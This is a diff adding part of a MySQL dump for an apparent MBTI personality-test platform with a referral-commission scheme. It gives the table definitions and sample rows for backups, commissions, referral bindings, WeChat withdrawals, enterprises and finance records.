+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名',
+ `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径',
+ `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)',
+ `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL',
+ `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_filename`(`filename`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_backup_records
+-- ----------------------------
+INSERT INTO `mbti_backup_records` VALUES (1, 'backup_mbti_20260212160946.sql', 'F:\\karuo\\mbti\\api\\runtime/backup/backup_mbti_20260212160946.sql', 82181, 'https://ac-weremote-s2.oss-cn-shenzhen.aliyuncs.com/backup/2026/02/12/backup_mbti_20260212160946.sql', 'backup/2026/02/12/backup_mbti_20260212160946.sql', 'success', NULL, 1770883787, 1770883787);
+
+-- ----------------------------
+-- Table structure for mbti_commission_records
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_commission_records`;
+CREATE TABLE `mbti_commission_records` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `agentId` int(11) NOT NULL COMMENT '分销商ID',
+ `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID',
+ `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)',
+ `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled',
+ `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID',
+ `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID',
+ `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID',
+ `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)',
+ `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)',
+ `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间',
+ `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间',
+ `testResultId` int(11) NULL DEFAULT NULL,
+ `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE,
+ INDEX `idx_agentId`(`agentId`) USING BTREE,
+ INDEX `idx_orderId`(`orderId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_scope`(`scope`) USING BTREE,
+ INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_inviterId`(`inviterId`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_commission_records
+-- ----------------------------
+INSERT INTO `mbti_commission_records` VALUES (1, 6, NULL, 0.00, 0.10, 'paid', 1773039077, 1773039077, 1773039077, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 84, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (2, 6, NULL, 0.00, 0.10, 'paid', 1773040163, 1773040163, 1773040163, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 85, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (3, 6, NULL, 0.00, 1.00, 'paid', 1773043973, 1773043973, 1773043973, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 87, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (4, 6, NULL, 0.00, 1.00, 'paid', 1773044496, 1773044496, 1773044496, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 88, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (5, 6, NULL, 0.00, 1.00, 'paid', 1773047081, 1773047081, 1773047081, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 89, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (6, 6, NULL, 0.00, 1.00, 'paid', 1773047135, 1773047135, 1773047135, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 90, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (7, 6, NULL, 0.00, 1.00, 'paid', 1773047512, 1773047512, 1773047512, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 92, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (8, 6, NULL, 0.00, 1.00, 'paid', 1773109282, 1773109282, 1773109282, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 93, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (9, 6, NULL, 0.00, 1.00, 'paid', 1773109762, 1773109762, 1773109762, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 94, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (10, 6, NULL, 0.00, 1.00, 'paid', 1773131848, 1773131848, 1773131848, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 102, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (11, 6, NULL, 0.00, 1.00, 'paid', 1773132145, 1773132145, 1773132145, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 103, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (12, 6, NULL, 0.00, 1.00, 'paid', 1773132630, 1773132630, 1773132630, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 104, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (13, 6, NULL, 0.00, 1.00, 'paid', 1773197745, 1773197745, 1773197745, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 108, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (14, 6, NULL, 0.00, 1.00, 'paid', 1773214232, 1773214232, 1773214232, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 109, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (15, 6, NULL, 0.00, 1.00, 'paid', 1773214528, 1773214528, 1773214528, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 110, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (16, 6, NULL, 0.00, 1.00, 'paid', 1773216370, 1773216370, 1773216370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 112, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (17, 6, NULL, 0.00, 1.00, 'paid', 1773216422, 1773216422, 1773216422, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 113, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (18, 12, NULL, 0.00, 0.01, 'paid', 1773218013, 1773218013, 1773218013, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 114, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (19, 12, NULL, 0.00, 0.01, 'paid', 1773218078, 1773218078, 1773218078, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 115, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (20, 12, NULL, 0.00, 0.01, 'paid', 1773218176, 1773218176, 1773218176, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 116, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (21, 6, NULL, 0.00, 1.00, 'paid', 1773218291, 1773218291, 1773218291, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 117, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (22, 12, NULL, 0.00, 0.01, 'paid', 1773218860, 1773218860, 1773218860, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 118, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (23, 6, NULL, 0.00, 1.00, 'paid', 1773219018, 1773219018, 1773219018, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 119, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (24, 12, NULL, 0.00, 0.01, 'paid', 1773219347, 1773219347, 1773219347, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 120, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (25, 12, NULL, 0.00, 0.01, 'paid', 1773219366, 1773219366, 1773219366, 'personal', NULL, 12, 31, 7, 0, 1, NULL, NULL, 121, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (26, 6, NULL, 0.00, 1.00, 'paid', 1773219370, 1773219370, 1773219370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 122, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (27, 12, NULL, 0.00, 0.01, 'paid', 1773222595, 1773222595, 1773222595, 'personal', NULL, 12, 32, 8, 0, 1, NULL, NULL, 123, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (28, 12, NULL, 0.00, 0.01, 'paid', 1773227480, 1773227480, 1773227480, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 124, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (29, 34, NULL, 0.00, 0.01, 'paid', 1773227875, 1773227875, 1773227875, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 125, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (30, 12, NULL, 0.00, 0.01, 'paid', 1773228411, 1773228411, 1773228411, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 128, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (31, 12, NULL, 0.00, 0.01, 'paid', 1773228469, 1773228469, 1773228469, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 129, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (32, 34, NULL, 0.00, 0.01, 'paid', 1773228478, 1773228478, 1773228478, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 130, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (33, 12, NULL, 0.00, 0.01, 'paid', 1773228716, 1773228716, 1773228716, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 131, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (34, 34, NULL, 0.00, 0.01, 'paid', 1773228717, 1773228717, 1773228717, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 132, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (35, 12, NULL, 0.00, 0.01, 'paid', 1773228789, 1773228789, 1773228789, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 133, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (36, 12, NULL, 0.00, 0.01, 'paid', 1773228837, 1773228837, 1773228837, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 134, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (37, 12, NULL, 0.00, 0.01, 'paid', 1773229546, 1773229546, 1773229546, 'personal', NULL, 12, 36, 11, 0, 1, NULL, NULL, 135, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (38, 6, NULL, 0.00, 1.00, 'paid', 1773279222, 1773279222, 1773279222, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 138, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (39, 6, NULL, 0.00, 1.00, 'paid', 1773279937, 1773279937, 1773279937, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 139, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (40, 6, NULL, 0.00, 1.00, 'paid', 1773279975, 1773279975, 1773279975, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 140, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (41, 6, NULL, 0.00, 1.00, 'paid', 1773280023, 1773280023, 1773280023, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 141, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (42, 6, NULL, 0.00, 1.00, 'paid', 1773280177, 1773280177, 1773280177, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 142, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (43, 6, NULL, 0.00, 1.00, 'paid', 1773280251, 1773280251, 1773280251, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 143, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (44, 6, NULL, 0.00, 1.00, 'paid', 1773285873, 1773285873, 1773285873, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 144, 'test_completion');
+INSERT INTO `mbti_commission_records` VALUES (45, 6, NULL, 0.00, 1.00, 'paid', 1773286899, 1773286899, 1773286899, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 145, 'test_completion');
+
+-- ----------------------------
+-- Table structure for mbti_distribution_agents
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_distribution_agents`;
+CREATE TABLE `mbti_distribution_agents` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID',
+ `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称',
+ `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话',
+ `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱',
+ `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数',
+ `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金',
+ `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_distribution_bindings
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_distribution_bindings`;
+CREATE TABLE `mbti_distribution_bindings` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID',
+ `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)',
+ `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)',
+ `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)',
+ `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden',
+ `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID',
+ `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE,
+ INDEX `idx_inviterId`(`inviterId`) USING BTREE,
+ INDEX `idx_inviteeId`(`inviteeId`) USING BTREE,
+ INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE,
+ INDEX `idx_expireAt`(`expireAt`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_distribution_bindings
+-- ----------------------------
+INSERT INTO `mbti_distribution_bindings` VALUES (1, 6, 1, 'personal', 6, 1775273468, 'active', NULL, NULL, 1772681468, 1772681468);
+INSERT INTO `mbti_distribution_bindings` VALUES (2, 6, 1, 'personal', NULL, 1775629026, 'active', NULL, NULL, 1773025578, 1773037026);
+INSERT INTO `mbti_distribution_bindings` VALUES (3, 24, 12, 'personal', NULL, 1775653348, 'active', NULL, NULL, 1773061348, 1773061348);
+INSERT INTO `mbti_distribution_bindings` VALUES (4, 12, 27, 'personal', NULL, 1775809886, 'active', NULL, NULL, 1773217886, 1773217886);
+INSERT INTO `mbti_distribution_bindings` VALUES (5, 12, 28, 'personal', NULL, 1775809917, 'active', NULL, NULL, 1773217917, 1773217917);
+INSERT INTO `mbti_distribution_bindings` VALUES (6, 12, 29, 'personal', NULL, 1775811258, 'active', NULL, NULL, 1773218797, 1773219258);
+INSERT INTO `mbti_distribution_bindings` VALUES (7, 12, 31, 'personal', NULL, 1775811310, 'active', NULL, NULL, 1773219310, 1773219310);
+INSERT INTO `mbti_distribution_bindings` VALUES (8, 12, 32, 'personal', NULL, 1775814524, 'active', NULL, NULL, 1773222524, 1773222524);
+INSERT INTO `mbti_distribution_bindings` VALUES (9, 12, 33, 'personal', NULL, 1775820674, 'active', NULL, NULL, 1773227436, 1773228674);
+INSERT INTO `mbti_distribution_bindings` VALUES (10, 34, 35, 'personal', NULL, 1775819750, 'active', NULL, NULL, 1773227750, 1773227750);
+INSERT INTO `mbti_distribution_bindings` VALUES (11, 12, 36, 'personal', NULL, 1775821479, 'active', NULL, NULL, 1773229479, 1773229479);
+
+-- ----------------------------
+-- Table structure for mbti_distribution_withdrawals
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_distribution_withdrawals`;
+CREATE TABLE `mbti_distribution_withdrawals` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
+ `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id',
+ `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)',
+ `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)',
+ `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON',
+ `status` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0审核中,1已驳回,2待收款,3已收款,4已过期',
+ `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注',
+ `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间',
+ `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间',
+ `createdAt` int(11) NULL DEFAULT NULL,
+ `updatedAt` int(11) NULL DEFAULT NULL,
+ `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)',
+ `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)',
+ `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号',
+ `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)',
+ `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID',
+ `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号',
+ `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE,
+ INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_distribution_withdrawals
+-- ----------------------------
+INSERT INTO `mbti_distribution_withdrawals` VALUES (1, 1, 100, 0, NULL, 0, NULL, NULL, NULL, 1773288337, 1773288337, 'wechat', NULL, NULL, NULL, '1005', NULL, NULL);
+INSERT INTO `mbti_distribution_withdrawals` VALUES (2, 1, 500, 0, NULL, 1, '资料不完整', 1773298296, NULL, 1773295496, 1773298296, 'wechat', NULL, NULL, 'FAIL', '1005', '1318592501', NULL);
+INSERT INTO `mbti_distribution_withdrawals` VALUES (3, 1, 1200, 0, NULL, 4, '超时未确认收款', 1773298593, NULL, 1773298579, 1773298593, 'wechat', 'TX202603121600000003', '1330000114850082603120000000000003', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL);
+INSERT INTO `mbti_distribution_withdrawals` VALUES (4, 1, 100, 0, NULL, 2, NULL, 1773303989, NULL, 1773298605, 1773303989, 'wechat', 'TX2026031216262934524', '1330000114850082603120066922420635', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL);
+INSERT INTO `mbti_distribution_withdrawals` VALUES (5, 1, 300, 0, NULL, 3, NULL, 1773304691, 1773304699, 1773304687, 1773304699, 'wechat', 'TX2026031216381141445', '1330000114850082603120092315376583', 'SUCCESS', '1005', '1318592501', NULL);
+INSERT INTO `mbti_distribution_withdrawals` VALUES (6, 1, 100, 0, NULL, 2, NULL, 1773304830, NULL, 1773304826, 1773304830, 'wechat', 'TX2026031216403070486', '1330000114850082603120032556470199', 'WAIT_USER_CONFIRM', '1005', '1318592501', 'ABBQO+oYAAABAAAAAADBguuPky1AJvR8/3uyaRAAAADnGpepZahT9IkJjn90+1qgn4+p5lA8HVsWJ6K15wGB4z4GGToX0vW7d4gtrpRhn/W4mUaTV+62hOw+Ts5po3kL/Sa/cGuVBIY0Zqi/L+oS9v+k3pU=');
+
+-- ----------------------------
+-- Table structure for mbti_enterprises
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_enterprises`;
+CREATE TABLE `mbti_enterprises` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID',
+ `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称',
+ `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码',
+ `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名',
+ `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话',
+ `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱',
+ `balance` int(11) NULL DEFAULT 0 COMMENT '余额',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用',
+ `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_code`(`code`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_enterprises
+-- ----------------------------
+INSERT INTO `mbti_enterprises` VALUES (5, '存客宝', '3213213424234234', '存客宝', '18888888888', 'ckb@qq.com', 100000, 'operating', NULL, NULL, 1770878340, 1770879288);
+INSERT INTO `mbti_enterprises` VALUES (6, '测试', '', '测试', '', '', 97507, 'operating', NULL, NULL, 1772174277, 1773286899);
+
+-- ----------------------------
+-- Table structure for mbti_finance_records
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_finance_records`;
+CREATE TABLE `mbti_finance_records` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund',
+ `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)',
+ `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)',
+ `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)',
+ `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述',
+ `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_type`(`type`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_finance_records
+-- ----------------------------
+INSERT INTO `mbti_finance_records` VALUES (1, 6, 'recharge', 100, 100000, 100100, '企业后台充值', NULL, 1773042479);
+INSERT INTO `mbti_finance_records` VALUES (2, 6, 'recharge', 2, 100100, 100102, '企业余额充值', 78, 1773043904);
+INSERT INTO `mbti_finance_records` VALUES (3, 6, 'consume', 100, 100102, 100002, '佣金支出:测试完成分销', NULL, 1773043973);
+INSERT INTO `mbti_finance_records` VALUES (4, 6, 'consume', 100, 100002, 99902, '佣金支出:用户wong测试DISC完成分销', NULL, 1773044496);
+INSERT INTO `mbti_finance_records` VALUES (5, 6, 'consume', 100, 99902, 99802, '佣金支出:用户wong测试MBTI完成分销', NULL, 1773047081);
+INSERT INTO `mbti_finance_records` VALUES (6, 6, 'consume', 100, 99802, 99702, '佣金支出:用户wong测试PDP完成分销', NULL, 1773047135);
+INSERT INTO `mbti_finance_records` VALUES (7, 6, 'consume', 100, 99702, 99602, '佣金支出:用户wong测试人脸完成分销', NULL, 1773047512);
+INSERT INTO `mbti_finance_records` VALUES (8, 6, 'recharge', 5, 99602, 99607, '企业余额充值', 79, 1773048748);
+INSERT INTO `mbti_finance_records` VALUES (9, 6, 'consume', 100, 99607, 99507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109282);
+INSERT INTO `mbti_finance_records` VALUES (10, 6, 'consume', 100, 99507, 99407, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109762);
+INSERT INTO `mbti_finance_records` VALUES (11, 6, 'consume', 100, 99407, 99307, '佣金支出:用户wong测试DISC完成分销', NULL, 1773131848);
